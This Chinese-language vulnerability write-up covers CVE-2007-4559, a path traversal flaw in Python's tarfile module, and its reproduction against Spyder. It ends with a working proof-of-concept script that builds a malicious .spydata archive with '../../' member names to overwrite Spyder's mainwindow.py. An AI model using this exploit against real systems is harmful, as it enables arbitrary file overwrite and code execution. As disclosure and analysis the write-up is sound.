2022年9月21日,Trellix(McAfee Enterprise和FireEye合并之后的新公司)的安全研究人员发现早在2007年就披露的漏洞CVE-2007-4559依然没有被修复(https://mail.python.org/pipermail/python-dev/2007-August/074290.html ),该漏洞影响到Python的tarfile模块,可造成系统文件的任意读取和写入。当时的漏洞被披露后,官方采取的做法是在编译过程中给出警告提示,说明可能存在从未信任的来源中解压文档,之后便关闭了漏洞。

cve-2007-4559

经过Trellix研究人员对于GitHub上所有引用tarfile模块的项目分析,在588840个项目中都有“import tarfile”的调用声明,其中61%存在CVE-2007-4559漏洞,即受影响的项目有将近36万个项目。

CVE-2007-4559的基本原理与CVE-2001-1267类似,当使用tar打包一个包含“../../../../../etc/passwd”,并用管理员权限解包时,/etc/passwd文件会被覆盖,同理使用文件链接也可以产生同样的效果。

CVE-2007-4559的漏洞源自tarfile模块TarInfo类的extract方法(https://github.com/python/cpython/blob/3.10/Lib/tarfile.py#L2100 ):

1
2
3
4
5
6
……
try:
self._extract_member(tarinfo, os.path.join(path, tarinfo.name),
set_attrs=set_attrs,
numeric_owner=numeric_owner)
……

TarInfo类是tar文件包中用于记录文件信息的类,上述代码中的tarinfo.name即是文件名称,_extract_member方法根据传入的文件路径、名称、属性、权限将文件写入系统。另外,extractall方法也调用了extract方法,因此也受到影响。

Trellix研究人员用受影响的软件Spyder呈现了该漏洞的影响,笔者复现了该漏洞:

漏洞复现

Spyder右侧操作框的Variable Explorer有一个Import Data功能,可以导入.spydata文件,该文件实际上是tar文件,使用恶意构造的tar包导入虽然可以成功但会报导入错误。因此,需要手动添加一条记录并导出.pickle文件,将该文件和恶意名称的文件名打包为.spydata文件导入。

最终的tar包生成脚本如下:

1
2
3
4
5
6
7
8
9
import tarfile

def change_name(tarinfo):
tarinfo.name = "../../Programs/Spyder/pkgs/spyder/app/" + tarinfo.name
return tarinfo

with tarfile.open("exploit.spydata", "w:xz") as tar:
tar.add("mainwindow.py", filter=change_name)
tar.add("sample.pickle")